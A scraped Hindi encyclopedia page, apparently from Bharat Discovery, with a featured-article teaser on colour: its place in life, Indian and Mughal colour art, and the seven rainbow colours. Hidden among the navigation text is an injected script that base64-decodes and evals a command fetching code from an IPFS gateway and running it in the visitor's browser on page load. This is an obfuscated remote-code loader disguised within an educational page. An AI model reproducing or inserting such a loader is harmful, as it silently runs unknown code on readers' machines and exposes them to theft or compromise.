एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "०"।

साँचा:विशेष आलेख

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
एक आलेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

Rgb-mix.jpg

        रंग [शुद्ध: रङ्‌ग] अथवा वर्ण का हमारे जीवन में बहुत महत्त्व है। रंग हज़ारों वर्षों से हमारे जीवन में अपनी जगह बनाए हुए हैं। प्राचीनकाल से ही रंग कला में भारत का विशेष योगदान रहा है। मुग़ल काल में भारत में रंग कला को अत्यधिक महत्त्व मिला। रंगों से हमें विभिन्न स्थितियों का पता चलता है। हम अपने चारों तरफ़ अनेक प्रकार के रंगों से प्रभावित होते हैं। रंग, मानवी आँखों के वर्णक्रम से मिलने पर छाया सम्बंधी गतिविधियों से उत्पन्न होते हैं। मूल रूप से इंद्रधनुष के सात रंगों को ही रंगों का जनक माना जाता है, ये सात रंग लाल, नारंगी, पीला, हरा, आसमानी, नीला तथा बैंगनी हैं। रंग से विभिन्न प्रकार की श्रेणियाँ एवं भौतिक विनिर्देश वस्तु, प्रकाश स्रोत इत्यादि के भौतिक गुणधर्म जैसे प्रकाश विलयन, समावेशन, परावर्तन जुड़े होते हैं ... और पढ़ें

पिछले आलेख सिंधु घाटी सभ्यता दीपावली रामलीला श्राद्ध